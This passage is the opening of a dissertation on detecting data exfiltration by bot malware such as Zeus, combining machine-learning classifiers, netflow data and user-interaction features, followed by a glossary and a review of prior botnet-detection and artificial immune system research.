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The threat of data theft posed by self-propagating, remotely controlled bot malware is 
increasing.  Cyber criminals are motivated to steal sensitive data, such as user names, 
passwords, account numbers, and credit card numbers, because these items can be 
parlayed into cash.  For anonymity and economy of scale, bot networks have become the 
cyber criminal’s weapon of choice.  In 2010 a single botnet included over one million 
compromised host computers, and one of the largest botnets in 2011 was specifically 
designed to harvest financial data from its victims.  Unfortunately, current intrusion 
detection methods are unable to effectively detect data extraction techniques employed 
by bot malware.  The research described in this Dissertation Report addresses that 
problem.  This work builds on a foundation of research regarding artificial immune 
systems (AIS) and botnet activity detection.  This work is the first to isolate and assess 
features derived from human computer interaction in the detection of data theft by bot 
malware and is the first to report on a novel use of the HTTP protocol by a contemporary 
variant of the Zeus bot. 
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Chapter 1 

Introduction 

  
Background 

     The work documented in this Dissertation Report addresses the information security 

research problem domain of detecting covert malware network activity.  A recent trend 

for bot malware is to capture and transmit sensitive information from the infected host to 

a remote server while remaining stealthy.  This work focused on improving techniques 

for detecting such surreptitious data extraction from a compromised host computer.  The 

techniques included classification methods from the field of machine learning, data from 

network communications by an infected host, and data about user interaction on the 

infected host.  Network packet data was summarized into flow-level summaries, or 

netflows, using an open source application designed for that purpose.  Actual samples of 

network traffic produced by the Zeus bot malware, sometimes referred to as the Zeus 

Trojan malware, were analyzed at both the packet level and netflow level, and then 

selectively used to train and test the classifiers.  Previously unreported network behavior 

by the Zeus malware was discovered and documented. Classification results in terms of 

true and false positives were captured for multiple classification methods which revealed 

the effects of changing independent variables through a sequence of experiments.   

 

Problem Statement 

     Current computer security and network security methods are unable to detect novel 

data exfiltration techniques employed by malicious bot software.  Data exfiltration, also 

referred to as data extrusion, is the process of extracting sensitive data from a victim’s 
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computer without their permission or knowledge.  Lee, Wang, and Dagon (2007) 

reported that “new approaches are needed for botnet detection and response because 

existing security mechanisms, e.g. anti-virus software and intrusion detection systems, 

are inadequate” following a 2006 workshop on botnets that was jointly sponsored by the 

U.S. Department of Homeland Security (DHS), Defense Advanced Research Projects 

Agency (DARPA), and Army Research Office (ARO).  These authors pointed out that 

current methods do not adapt to the rapid and continuous changes made by the bot 

malware developers.  More recent research by Jacob, Hund, Kruegel, and Holz (2011) 

and Zhang, Luo, Perdisci, Gu, Lee, and Feamster (2011) provides strong evidence that 

malicious botnet activity detection using network data analysis techniques, foremost 

among methods, has only become more difficult since that time.  This difficulty stems 

from the use of encryption, polymorphism, and other obfuscation techniques that mask 

various aspects of the network communications.   

     The nature of the problem is that malware writers continue to develop innovative 

methods to achieve their malicious objectives by countering and avoiding measures 

designed to prevent their success.  Blacklist-based and signature-based approaches are 

unable to keep up with the network fluxing techniques (Zhang, Yu, Wu, & Watters, 

2011) and polymorphism (Porras, Saidi, & Yegneswaran, 2009) of modern botnets such 

as Zeus, Torpig, and Conficker.  One of the polymorphic features of Conficker that 

challenges network analysis, for example, is the daily computation of new domains to 

link with new relay points supporting command and control and data exfiltration (Porras, 

Saidi, & Yegneswaran, 2009).  Developers of methods to defeat malware are thus faced 

with an ever-evolving threat, one that learns about each signature-based and anomaly-
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based countermeasure and adapts to circumvent it.  Lee, Wang, and Dagon (2007) 

referred to this contest as an “arms race.”  In many respects, this situation is akin to the 

competitive behavior of biological systems in nature.  The human immune system is of 

particular interest in this case.  The human immune system tries to protect its host from 

invading pathogens by identifying them as threats and eliminating them before they can 

cause harm.  For their part, the pathogens change (mutate) in response to these defenses 

and try again.  Given these parallels, immunology has inspired the development of a 

number of computer and network security techniques in recent years.  A summary of 

these approaches will be provided in Chapter 2. 

     This research problem presents more than a purely physical or numerical modeling 

and analysis challenge because of the human element.  In other words, a person can 

dynamically control and change the behavior of the bot malware in response to, or in 

anticipation of, measures taken to detect it or to prevent it from operating.  Nonetheless, 

certain aspects of the data exfiltration problem can be considered invariant - they must 

happen.  First, the attacker must introduce the malware onto the target host from some 

source.  Second, the malware must capture the data of interest.  Third, and finally, the 

malware must move the data off the target host to some destination.  In spite of efforts to 

prevent bot malware from invading host computers, it is very likely to continue.  That a 

single botnet, Rustock, comprised over one million compromised hosts in 2010 serves as 

evidence to support this claim, as does the fact that the botnets Grum and Cutwail had 

hundreds of thousands of bots each (Symantec, 2011).  The information security firm 

McAfee reported a significant increase in botnet growth during the fourth quarter of 

2011, with monthly infections approaching 3.5 million hosts (McAfee, 2012).  This work 
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began with a bot-infected host and addressed the data exfiltration aspect of this problem.  

This focus differentiates this work from methods that concentrate on the infection aspect.   

 

Dissertation Goal 

     The goal of this work was to reveal techniques for improving detection of data theft 

from a computer host by bot malware.  The innovative approach in this work was to 

leverage knowledge about user interaction with the infected computer, for example, 

running software applications and browsing the Internet.  This approach tests the 

assumption that network activity not directly caused by user interaction is more likely to 

be the result of malware.  This approach was also designed to accommodate legitimate 

variations and changes over time to the host computer’s configuration and network usage.  

In creating the network data, the host computer operating system was updated, software 

applications were added, data files were added and removed, and user patterns were 

changed.  Experimentation consisted of comparing the performance of two classifiers in 

terms of true and false positives across a range of controlled conditions, first without the 

user interaction feature added, then with this feature added.  The other controlled 

variables included the following: number of benign instances (netflows), number of Zeus 

instances (also netflows), number of features, type of features (numeric and nominal), 

type of Zeus instance, size of training and testing data subsets, and ratio of Zeus instances 

in training and testing subsets.  This comparison required an environment where the 

malware activities were known, therefore known bot malware activity was integrated 

with benign network trace data.  Observable parameters included a subset of those 

features of a TCP connection that the Argus software creates to describe a netflow.  An 
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analysis of that feature creation and selection process is provided in a later section.  

Benign network traffic was generated on an isolated test network.  Malicious network 

traffic was injected from samples of actual Zeus bot activity captured in the wild.  A 

complete analysis of the Zeus network traffic samples is provided in Appendix A.   

 

Relevance and Significance 

     Protecting inter-networked computing devices from data theft is a significant problem 

because 1) the foundational layers of the Internet, Internet Protocol (IP) and Transmission 

Control Protocol (TCP), were designed and implemented without security mechanisms, 

and 2) the motivations for stealing data are strong (Cooke, Jahanian, & McPherson, 

2005).  Moreover, the complexity of modern data processing and networking by a given 

computing device has increased well beyond a human’s ability to comprehend all that’s 

happening in real-time (Nunnery, 2011).  Anyone who uses a personal computer on the 

Internet to interact with sensitive data is therefore at risk.  As such, this problem affects a 

large and growing percentage of the world’s population (Kountz, 2009; Sumner, 2010). 

     Malware was used for the majority of data theft in 2011, whereas physical attacks 

were a distant second (Verizon, 2012).  Furthermore, external entities, as opposed to 

insiders, were responsible in most cases (Verizon, 2012).  Botnets are one of the primary 

vectors for external attackers to inject the malware necessary to capture and exfiltrate 

sensitive data (Riccardi et al., 2013; Shin et al., 2011).  

     While not openly attributed to bot malware, the impact of data theft can be seen 

through the following high profile examples.  In January 2012, the online retailer 

Zappos.com reported the theft of personal information regarding 24 million of their 
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customers (Sullivan, 2012).  The cost and impact of that breach remains to be 

determined.  In April 2011, Sony Corporation reported the theft of personal information, 

to include logins, passwords, and security questions for 77 million users and was forced 

to temporarily shut down its PlayStation Network (Baker & Finkle, 2011).  In early May 

2011, Sony revealed that an earlier breach exposed the personal information of 25 million 

more customers of its Sony Online Entertainment network (Arthur, 2011).  By late May 

2011, Sony estimated that it had spent $171 million related to these data breaches 

(Dignan, 2011).  This amount is well below the average $214 cost per stolen record in 

2010, however, as reported by the Ponemon Institute (2011) in their 2010 Annual Study: 

U.S. Cost of a Data Breach.  These examples highlight the most tangible impact of this 

problem, financial loss, in this case the cost incurred by companies in response to data 

breaches.  The Ponemon Institute’s report also highlights how much this data theft 

problem has grown, at least at the corporate level.  One of the study’s top findings 

underscores this point: “For the first time [2010], malicious or criminal attacks are the 

most expensive cause of data breaches and not the least common one.”  

     The extent of the networked computer data theft problem at the individual level is 

more difficult to quantify.  This is due in part to the fact that while the results can be 

recognized, such as identity fraud or email spamming, the actual theft often cannot.  

However, some percentage of identity fraud, the unauthorized use of another person’s 

credentials for monetary gain, is very likely due to personal information theft by bot 

malware (Symantec, 2011).  According to a Javelin Strategy & Research report (2011), in 

2010 over eight million people were victims of identity fraud in the United States.  Even 

a small percentage of that total rates as a significant problem.  The Computer Intrusion 
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Section of the Federal Bureau of Investigation (FBI) in the United States recognizes this 

as a pervasive problem and considers it one of their top priorities. On their web site, the 

Computer Intrusion Section claims “specially trained cyber squads at FBI headquarters 

and in each of our 56 field offices, staffed with agents and analysts who protect against 

and investigate computer intrusions, theft of intellectual property and personal 

information” among other dedicated resources.  The Internet Crime Complaint Center 

(IC3), sponsored in part by the FBI, publishes a report on Internet crime each year.    In 

its 2010 Internet Crime Report, the center reported receiving approximately 25,000 

complaints per month in 2010, with identity theft among the most common complaints. 

     Private security firms track computer and network security incidents very closely, and 

on a global scale.  Botnets, collections of compromised hosts that are remotely controlled 

over the Internet, continue to evolve and pose a significant threat due to the sheer number 

of co-opted computers.  In its annual threat report, Symantec Corporation identified 

Rustock as the largest botnet observed in 2010 with over one million bots (Symantec, 

2011).  The Symantec team also identified Grum and Cutwail as very large botnets that 

year with hundreds of thousands of bots each.  McAfee provided a similar assessment in 

its quarterly report, indicating that Rustock surpassed Cutwail in botnet activity in the 

fourth quarter of 2010, and listing Bobax, Grum, Lethic, and Maazben among the other 

most active botnets around the world (McAfee, 2011).  

     Symantec discussed five leading trends in its annual threat report for 2010 (Symantec, 

2011): targeted attacks, social networks, attack toolkits, rootkits, and mobile threats.  

Targeted attacks increased in sophistication and grew in number.  The Stuxnet worm 

garnered significant attention, not only from the media because of its goal of sabotaging 
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centrifuges at an Iranian uranium enrichment facility, but also from the cyber security 

community because of its sophistication.  Among other advanced features, Stuxnet 

employed four zero-day vulnerability exploits, an unprecedented number.  Zero-day 

vulnerabilities are vulnerabilities that have never before been identified, and are thus not 

likely to be protected against with current security measures.  Spear phishing, targeting 

specific individuals using inside knowledge about them, benefitted from the increased 

popularity of social networking sites. These sites make it very easy for an attacker to 

learn enough personal information about an individual to masquerade as a friend or 

colleague and convince them to click on an embedded link or open an attachment. The 

number of daily web-based attacks almost doubled in 2010, due in large part to the 

proliferation of attack toolkits (Symantec, 2011).  Rootkits continue to pose a serious 

threat, with variants that modify the master boot record on Windows operating systems 

being the most prevalent in 2010 (Symantec, 2011).  A rootkit manipulates the operating 

system in order to prevent detection of the malware and its activity. The longer a rootkit 

can extend the duration of the compromise, the more opportunities the malware has for 

information theft.  The common theme across all these trends, with the notable exception 

of Stuxnet, is the attacker’s motive of financial gain.  Use these attack vectors to steal 

information in order to steal money.  As mobile computing devices proliferate, the efforts 

to compromise them will increase.   

     Examining the propagation methods of malware in general, and bot software in 

particular, was not the focus of this work.  However, understanding those methods, their 

trends, and the underlying motives of their perpetrators serves to make a fundamental 

point: computing devices will continue to be compromised by malware into the 
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foreseeable future.  Moreover, the trends toward stealth, remote control, and data theft for 

financial gain clearly indicate that more sophisticated countermeasures will be needed 

(Shin, Gu, Reddy, & Lee, 2011; Zhang, Luo, Perdisci, Gu, Lee, & Feamster, 2011).    

     Government agencies, private industry, security firms, and the research community 

have been focusing resources on solutions to this growing problem, and a number of 

approaches have been taken at multiple levels.  One approach is to modify the 

infrastructure of the Internet to make it more secure.  Internet Protocol Security, or IPsec, 

and DNS Security Extensions, or DNSSEC, are two examples of such changes.  The 

former provides for authentication and encryption at the network layer.  The latter adds 

new resource record types to the Domain name System to protect it against common 

threats.  Such changes take time to implement on a global scale and are likely to decrease 

but not eliminate the problem. 

 

Barriers and Issues 

     Information security is inherently difficult due to the complexity of the computer and 

network systems involved.  Defending complex systems against attack is made even 

more difficult by the dynamics and unpredictability of the human element.  After all, 

humans provide the real ingenuity behind the attacks.  Detecting malicious bot activity on 

a compromised host or network is particularly challenging because of these factors.  The 

number and diversity of approaches to solving this problem, as previously discussed, 

bears testament to that fact.  The notion of a Computer Immune System modeled on the 

Human Immune System has a very strong appeal given the desire for robustness, 

efficiency, and adaptivity through properties such as decentralized control, distributed 
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processing, self-organization, self-regulation, specificity and diversity, self-reparation, 

learning, and evolution.  In spite of this attraction and considerable research effort, the 

development of a computer immune system with more than a few rudimentary facsimiles 

of human immune system capabilities has proven to be very difficult.   

    Researchers have made progress toward a computer immune system, but it has taken 

many years.  Initial efforts showed that static data then basic operating system processes 

could be protected with artificial immune system (AIS) methods (Dasgupta & Forrest, 

1995, 1996; Forrest, Hofmeyr, & Somayaji, 1997; Forrest, Perelson, Allen, & Cherukuri, 

1994). Later efforts showed that some basic network traffic could also be protected and 

that incorporating danger signal and dendritic cell metaphors could improve efficiency 

(de Castro & Von Zuben, 2000, 2001, 2002; Greensmith, Aickelin, & Cayzer, 2005; 

Timmis, 2000; Timmis & Neal 2001).  At each step, however, the methods revealed 

limitations worthy of additional research.  In all cases, the selection of features and 

fitness functions left room for improvement.  One reason why these features are so 

difficult to determine is because the networked computer system was not designed to 

collaborate with an AIS.  Signals and responses between the two were not negotiated or 

coordinated in advance as is the case with natural immune systems.   
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Definition of Terms 

 
activation function An activation function bounds the output of a weighted sum 

between two values; also known as a “squashing” function; 
commonly used with artificial neurons. 
 

adaptive immunity In immunology, the adaptive immune system learns about new 
types of foreign antigens in order to respond to them more quickly 
in the future. 
 

artificial immune 
system 
 

In computer science, software that has properties similar to a 
biological immune system.  An artificial immune system or AIS is 
typically employed to detect foreign data structures or processes. 
 

ARTIS Artificial Immune System - as initially coined by Hofmeyr and 
Forrest (2000) to represent a general artificial immune system.  
AIS later became the more common acronym. 
 

antibody In immunology, antibodies are created as an immune response to 
antigens in order to find and neutralize them. 
 

antigen In immunology, antigens are foreign substances (pathogens) that 
induce an immune response. 
 

auto-reactivity In immunology, auto-reactivity occurs when antibodies react to 
the host cells as if they were foreign antigens. 
 

basis function In machine learning, a basis function replaces feature values with 
measures of similarity 
 

bot A bot is remotely controlled malware; it’s name was originally 
derived from robot. 
 

botmaster A botmaster or botherder controls the bots in a bot network. 
 

botnet A botnet is a network of bot infected computers. 
 

Danger Theory In immunology, Danger Theory suggests that signals from 
unnatural cell death (necrosis) direct adaptive immune responses. 
 

domain generation 
algorithm 

A mechanism used by certain malware to automatically generate 
pseudorandom domain names.  Often referred to as DGA in the 
literature. 
 

dendritic cells In immunology, dendritic cells sample the environment and 
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present antigens to other components of the immune system. 
 

dot product In linear algebra, the dot product or inner product of two vectors is 
the sum of the products of their corresponding elements. 
 

entity In the HTTP Protocol, the entity is the payload and it consists of 
entity-header fields and optionally an entity-body. 
 

epitope In immunology, epitopes form recognizable patterns in antigens. 
 

Euclidean distance Euclidean distance is the length of a straight line connecting two 
points. 
 

fast-flux Fast-flux is a technique for rapidly changing the domain name to 
IP address mapping, typically used to prevent tracing a malicious 
server. 
 

fcapture fcapture is a network flow capture tool. 
 

FIN In the Transmission Control Protocol (TCP) header, the FIN 
(finish) flag is used to indicate no further data from the sender. 
 

finite state machine A finite state machine can be a logical depiction of the set of states 
and transitions of a process, or an actual device with a fixed 
number of states and triggers that cause it to transition from one 
state to another. 
 

GET In the HTTP protocol, GET is a method.  The GET method is used 
to retrieve a requested resource. 
 

Hamming distance Hamming distance measures the difference between two strings in 
terms of the number of positions with different symbols. 
 

honeynet A honeynet is a network of devices for attracting and capturing 
malware. 
 

honeypot A honeypot is a device for attracting and capturing malware.  
Honeypots are commonly used by information security 
researchers. 
 

intrusion detection 
system 
 

In computer science, software to detect activity on a host or 
network by unauthorized, external entitites.  Commonly referred 
to as IDS in the literature. 
 

intrusion prevention 
system 

In computer science, software to prevent access to a host or 
network by unauthorized, external entities.  Intrusion prevention 
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 system software can be combined with intrusion detection system 
software.  Often referred to as IPS in the literature. 
 

innate immunity In immunology, the innate immune system has knowledge of 
certain  foreign antigens and can respond very quickly to their 
presence. 
 

J48 J48 is a Java implementation of the C4.5 classifier. 
 

JOIN In the Internet Relay Chat (IRC) protocol, the JOIN command is 
used to connect to a named channel. 
 

k-means   In machine learning, k-means is a clustering technique where the 
user specifies the number of clusters, the value of k. 
 

key-logging Key-logging is a process designed for recording keystrokes.   
Key-logging software is commonly used by attackers to steal 
passwords and other sensitive data. 
 

LISYS Lightweight Intrusion Detection System - coined by Hofmeyr and 
Forrest (2000) as their proposed AIS-based network intrusion 
detection system. 
 

lpr lpr is a UNIX command for printing. 
 

machine learning Machine learning is a branch of computer science concerned with 
reproducing human learning using computer algorithms. 
 

Mahalanobis The Mahalanobis distance is a similarity measure which considers 
correlations in the data. 
 

MODE In the Internet Relay Chat (IRC) protocol, the MODE command is 
used to change the mode of usernames and channels. 
 

multivariate In feature selection, multivariate methods consider subsets of 
features together. 
 

n-gram   An n-gram is a continuous sequence of a number (n) of symbols.  
  

ngrep   ngrep is a utility for matching patterns (grep) in network packet 
payloads. 
 

negative selection In immunology, negative selection is the process of keeping only 
antibodies that don’t react to the host. 
 

netflow A summary record describing a network connection.   
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NICK In the Internet Relay Chat (IRC) protocol, the NICK command is 

used to assign the user a nickname. 
 

observation In machine learning, an observation refers to one input feature 
vector and is often referred to as an example, a data point, or a 
pattern. 
 

octet An octet is an 8-bit sequence of data. 
 

overfitting In machine learning, overfitting occurs when the classifier is fitted 
so specifically to the training dataset that it doesn’t generalize to 
unseen data. 
 

pathogen   Disease causing foreign microorganism such as virus or bacteria. 
 

P2P Peer-to-peer.  A network in which each node can serve as both 
server and client. 
 

PAMP In immunology, PAMP refers to Pathogen-Associated Molecular 
Pattern. 
 

PING In the Internet Relay Chat (IRC) protocol, the PING command is 
used to detect whether a distant client is active. 
 

PONG In the Internet Relay Chat (IRC) protocol, the PONG command is 
used to respond to the initiating PING command. 
 

POST In the HTTP protocol, POST is a method.  The POST method is 
used to submit an entity for acceptance by a server. 
 

principal component 
analysis 

A dimensionality reduction technique by which an input vector is 
transformed into an uncorrelated set of features ordered by 
variance, thus the first features convey most information.  Often 
referred to as PCA in the literature. 
 

QUIT In the Internet Relay Chat (IRC) protocol, the QUIT command is 
used to terminate a client session. 
 

r contiguous bits    Refers to the number of contiguous bits to be identically matched, 
e.g. the same bits in the same positions for two bit patterns. 
 

resource In the HTTP protocol, a resource can be a data object or service on 
the network. 
 

RST In the Transmission Control Protocol (TCP) header, the RST 
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(reset) flag is designed to allow a host to abort the connection.   
 

sensitivity In a classification function, sensitivity measures the proportion of 
true positives. 
 

SPAN Switched Port Analyzer.  A technique for mirroring network 
traffic from one port to another for monitoring purposes. 
 

specificity In a classification function, specificity measures the proportion of 
true negatives. 
 

SYN In the Transmission Control Protocol (TCP) header, the SYN 
(synchronize) flag is used to initiate a connection. 
 

token In the HTTP protocol, a token is a sequence of characters between 
delimiters that conveys a value. 
 

tolerization In an immunology, tolerization is the process by which 
lymphocytes learn to become tolerant of self and bind only to  
non-self structures. 
 

time to live Internet Protocol (IP) includes a time to live (TTL) field in the 
header.  TTL is used to remove undeliverable datagrams from the 
network. 
 

univariate In feature selection, univariate methods consider one variable at a 
time. 
 

USERS In the Internet Relay Chat (IRC) protocol, the USERS command is 
used to determine which users are logged into an IRC server. 
 

vaccine In immunology, a vaccine is a substance resembling an active 
pathogen that is used to train the immune system to recognize and 
neutralize it in the future. 
 

x-means In machine learning, an x-means clustering algorithm is equivalent 
to running k-means clustering multiple times to learn the value of 
k (number of clusters). 
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Summary 

     This Dissertation Report addresses the problem of detecting malware attempts to 

exfiltrate sensitive data from a networked computer.  This chapter provided an 

introduction to this research problem and to the innovative approach to solving the 

problem represented by this work.  Context was provided in order to highlight the 

relevance and significance of this problem, namely that the fundamental communication 

structure of the Internet makes detecting data theft a difficult problem to solve and that 

the motivation of thieves makes it a persistent and growing problem.  The concept of an 

artificial immune system for a computer, modeled after a biological immune system, was 

also introduced as one of approaches to detecting malware activity on an infected host. 
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Chapter 2 

Review of the Literature 

 

Overview 

     This chapter provides a review of research associated with bot malware detection and 

with the application of artificial immune systems (AIS) and related anomaly detection 

methods to information security.  The choice of papers selected for this review was based 

on the similarity of the associated research problems and the diversity in their choice of 

detection methods and feature selection processes.  The research discussed in this chapter 

begins with some general concepts regarding malware that has been designed to steal 

data, then proceeds with methods for detection of bot malware activity. The bot malware 

portion steps through the evolution of bot malware and describes the corresponding 

detection approaches at various stages in this evolution.  The literature review continues 

with a discussion of artificial immune systems applied to computer and network security.  

This section focuses on AIS-based methods for virus detection and intrusion detection, 

and is arranged both chronologically and topically.  The discussion of artificial immune 

systems culminates with research dedicated to bot malware detection. 

 

Malware for Data Theft 

     One of the more striking trends in the evolution of malware was the move away from 

techniques designed to overtly damage resources toward techniques designed to covertly 

steal resources.  Rootkits and Banking Trojans serve as illustrative examples of malware 

designed for stealth and data theft.  Rootkits provide root level access to the attacker 
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which not only enables the attacker to manipulate any data on the host, but also to 

remove the evidence.  The designation “root kit” first appeared in the information 

security literature during the 1990s, but it wasn’t until the early 2000s that rootkits began 

attracting broader attention from researchers.  Boulanger (1998) describes how an 

attacker uses the ‘root kit’ package to ‘patch’ processes on the target system in order to 

ensure “continued, unlogged, and undetected access” to the compromised host.  The 

paper by Levine, Grizzard, Hutto, and Owen (2004) was the first to use the term “rootkit” 

(one word) in the title of any ACM or IEEE Computer Society publication.  The authors 

describe kernel level rootkits and approaches to detecting their presence, namely using 

signature analysis techniques that compare a known clean system’s files and directories 

with the current system’s. Banking Trojans are malware designed specifically to gain 

access to a victim’s banking credentials and accounts.  Banking Trojans can employ a 

variety of methods, such as keylogging and screen captures, to achieve their goals.  They 

also commonly use web injection methods to dupe the victim into providing additional 

information into what appears to be the bank’s online form.  The designation “banking 

trojan” did not appear in the information security literature until the mid-2000s.  The U.S. 

Army Training and Doctrine Command issued a report in August of 2006 titled “Critical 

Infrastructure Threats and Terrorism” which identified banking Trojans as a threat to the 

banking infrastructure.  Stahlberg (2007) applied for a U.S. Patent in June of 2007 on a 

method for detecting banking Trojans specifically.  This method essentially checked 

system memory for Universal Resource Locators (URL) from known banking sites to 

detect when a banking Trojan was active and required that a current list of banking sites 

be maintained.  Goring, Rabaiotti, and Jones (2007) demonstrated how anti-keylogging 
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methods designed to prevent banking Trojans from logging keystrokes on certain banking 

web sites could be bypassed if not properly configured. The book “Botnets: The Killer 

Web Applications” (Schiller & Binkley, 2007) provided examples of banking Trojans 

used by botnets. 

 

Bot Malware Concepts and Trends 

    Researchers have taken a number of approaches to the problem of detecting bot 

malware activity.  In general, researchers have attempted a variety of methods for 

modeling bot activity and using classifiers to differentiate bot activity from normal 

activity.  Modeling the activity is based on a number of observable static or dynamic 

features.  Examples include the volume of communications between the bot and the 

botmaster, the command data strings associated with Internet Relay Chat (IRC) botnet 

command and control, the nicknaming conventions used by IRC botnet command and 

control, or the sequence of events related to infection by bot malware.  These approaches 

typically use a supervised learning approach where known bot activity provides a labeled 

training set for the chosen classifier.  Unsupervised learning techniques have also been 

employed by researchers.  These typically consist of clustering techniques where the 

same type of features such as Internet Relay Chat (IRC) communications are clustered 

based on a similarity metric.  Features derived from the Domain Name System (DNS) 

lookup process have also been used in clustering techniques.   

     Remotely controlled (bot) malware has become very popular as a mechanism for 

cyber criminals to achieve anonymity and economy of scale.  Spam email campaigns, 

click fraud, malware propagation, and distributed denial of service (DDoS) attacks are 
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among the better-known activities where botnets have proven their effectiveness (Gu, 

2008; Nunnery, 2011; Shin, Xu, & Gu, 2012).  Key-logging, screen capturing, file 

scanning, and associated data theft are perhaps lesser-known, but also made possible and 

attractive when conducted on a large number of compromised hosts (Binsalleeh, 

Ormerod, Boukhtouta, Sinha, Youssef, Debbabi, & Wang, 2010; Grégio, Fernandes, 

Afonso, de Geus, Martins, & Jino, 2013; Mohaisen & Alrawi, 2013; Riccardi, Di Pietro, 

Palanques, & Vila, 2013; Stone-Gross et al., 2009).  Strayer, Lapsely, Walsh, and 

Livadas (2007) claimed it was for both their “brute-force” and “subtle” attack capabilities 

that botnets were so dangerous.  The economy of scale concept has important 

implications for bot malware and bot networks.  First of all, size matters.  The larger the 

number of compromised hosts, the more powerful the botnet will be.  Thus, propagating 

itself and infecting more hosts is an important function of bot malware.  Bot command 

and control communications are also necessary to achieve economy of scale.  For spam 

campaigns and distributed denial of service attacks in particular, the botmaster must be 

able to synchronize the effort.  This orchestration requires a timely, if not synchronous, 

command and control mechanism.  For key-logging, screen capturing, and other data 

theft, the communications need not be synchronous.   

     Given that bots must self-propagate, receive commands, and transmit responses or 

collected data in order to achieve economy of scale, several detection approaches based 

on activity modeling have been investigated.  The research challenge is to understand and 

model the bot activity in sufficient detail to distinguish it from normal activity that 

otherwise looks very similar (Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, 

Debbabi, & Wang, 2010; Gu, 2008; Grégio, Fernandes, Afonso, de Geus, Martins, & 
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Jino, 2013; Haq, Ahmed, & Syed, 2014; Mohaisen & Alrawi, 2013; Riccardi, Di Pietro, 

Palanques, & Vila, 2013; Rieck, 2011; Shin, Xu, & Gu, 2012).  While not often stated 

explicitly by the researchers, signal detection theory, discerning signals from noise, 

serves as one of the theoretical foundations for these detection approaches.  Machine 

learning theory, alternatively known as computational learning theory, serves as another 

theoretical basis for many of the detection methods employed by bot researchers.  

Machine learning approaches applied to bot detection include Bayesian belief networks, 

support vector machines, artificial neural networks, evolutionary algorithms, and other 

statistical and biologically-inspired algorithms.       

      Many researchers recognized that in order for a botnet to achieve economy of scale, 

the same or very similar communications would have to occur between a controller and a 

large number of bots.  Early botnets used Internet Relay Chat (IRC) for their synchronous 

command and control.  Binkley and Singh (2006) looked for IRC hosts sending unusually 

high numbers of SYN, FIN, and RST packets to detect bots.  Their detection approach 

was limited to IRC bots and assumed these bots had a higher “work weight” than human 

participants in a chat channel where work weight was calculated as a percent of SYNs, 

FINs, and RSTs from the total number of TCP packets.  They monitored these packets as 

well as the number of Source IP Addresses, Joins, Pings, Pongs, and PrivMsgs to identify 

potential IRC channels with bot activity.  They calculated work weight every 30 seconds 

and generated hourly reports thresholding the number of hosts and work weight.  They 

found that this statistical approach could “easily reveal bot servers” and decided it should 

also include spam and denial of service attack indicators.  Although the researchers called 

this an anomaly-based approach, from a machine learning perspective it resembles a two-
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class classifier using the difference between two distributions (e.g. mean and standard 

deviation) as a threshold.  The constructed feature called work weight, the number of 

control packets per total packets, formed the distributions.  This appears to be a semi-

supervised approach with routine human expert validation though the researchers did not 

report on training or validation in this context. 

     Livadas, Walsh, Lapsley, and Strayer (2006) used archive network traces and captured 

their own network traffic to compare the ability of three classifiers to distinguish between 

IRC and non-IRC traffic, and between botnet IRC traffic and non-botnet IRC traffic. 

They extracted features describing the TCP network sessions heuristically in order to 

reduce computational intensity.  They chose J48, Naive Bayes, and Bayesian network 

classifiers from the WEKA workbench and tested them against both real and synthetic 

trace data.  The real data came from Dartmouth University’s repository and was 

anonymized.  They generated synthetic data on a testbed network which they managed 

and used to run an instance of the Kaiten botnet.  This team used the botnet traces only 

for testing the trained classifiers.  They evaluated the classifiers based on false positive 

and false negative rates and determined that the naive Bayes classifiers performed best at 

distinguishing between IRC and non-IRC traffic.  With respect to distinguishing between 

botnet IRC traffic from benign IRC traffic, they reported that only the naive Bayes 

classifiers succeeded and that they suspected overfitting of the J48 and Bayesian network 

classifiers to the training set was responsible for the poor performance of those 

classifiers.  This team described their work in machine learning terms.  During the first 

phase they employed a supervised learning approach with labeled data to train multi-class 

classifiers.  The second phase represented a one-class classification problem where they 
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did not train the classifiers further with labeled data for the botnet activity.  These 

researchers selected and constructed features heuristically based on domain knowledge 

but did not report evaluating features independently of the classifiers. 

     Goebel and Holz (2007) used IRC command strings to isolate IRC traffic and then 

used nickname similarity scoring to identify bots from among the IRC participants.  They 

used ngrep to find the following IRC strings: JOIN, NICK, MODE, USER, and QUIT.  

Once an IRC channel was identified, its nicknames were scored for similarity.  More 

similar names were deemed more likely to be bots than human chat participants.  They 

based this assumption on prior knowledge of bot nicknaming conventions which often 

included some combination of malware name, country abbreviation, operating system, 

special characters, or many digits.  They tested their approach with real network trace 

data from a SPAN port on a university router.  While achieving some success against 

older bots, this team determined that their approach could be defeated by a botnet that 

utilized a large pool of unique nicknames, such as Zapchast.  They also recognized that 

many botnets were moving from IRC to HTTP for command and control and that more 

sophisticated methods would be required.  From a machine learning perspective this 

approach, named Rishi, resembles a two-class classifier using the difference between two 

distributions as a threshold.  The extracted features, sub-strings (n-grams) of the IRC 

nickname, were used to form the distributions.  This was a semi-supervised approach 

with human expert validation when the scoring threshold was met.   

     Karasaridis, Rexroad, and Hoeflin (2007) looked for similar nicknames and for pong 

response messages from bots awaiting commands to identify candidates, then they 

monitored the traffic from those hosts for scanning and spamming behaviors.  They also 
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used network flow summaries to reduce computational intensity and to provide some 

level of anonymity.  Their approach modeled normal IRC traffic and computed a 

Euclidean distance between observed traffic and normal traffic.  They tested with real 

data from a Tier 1 Internet Service Provider (ISP) and reported discovering one million 

new bots per month.  They found botnets to be very dynamic, staying with the same 

botnet controller for only 2-3 days.  This research team described both their bot detection 

and bot characterization approaches in common machine learning terms.  For bot 

detection they trained a two-class linear classifier with labeled data, a supervised learning 

approach.  Constructed features, the aggregate flows per address, packets per flow, and 

bytes per packets, were heuristically chosen.  They used Euclidean distance for their 

similarity test.  Their bot characterization approach also uses a multi-class linear 

classifier and Euclidean distance metric for similarity, but based on a different set of 

heuristically derived features. 

     Other researchers investigated the infection and propagation related network traffic.  

Gu, Porras, Yegneswaran, Fong, and Lee (2007) modeled the bot infection sequence as a 

series of dialog flows between internal and external network assets.  They used the 

Snort® open source IDS with network flow data and added their statistical anomaly 

detection components.  Their infection model consisted of five steps: 1) external to 

internal inbound scan, 2) external to internal inbound exploit, 3) internal to external 

binary acquisition, 4) internal to external command and control (C&C) communication, 

and 5) internal to external outbound infection scanning.  Their approach assumed that the 

order of transactions could change and that some transactions may not be observed.  This 

team captured bots with a honeynet then created a testbed network to experiment with 



25 

 

them.  They tested their approach with real data from a university egress border switch 

and found that it could reliably observe inbound exploits and binary acquisitions, and 

therefore support overall bot detection.  From a machine learning perspective, the two 

anomaly detection methods described here could be either one-class or multi-class 

classifiers.  They used supervised learning but it was not clear from the description 

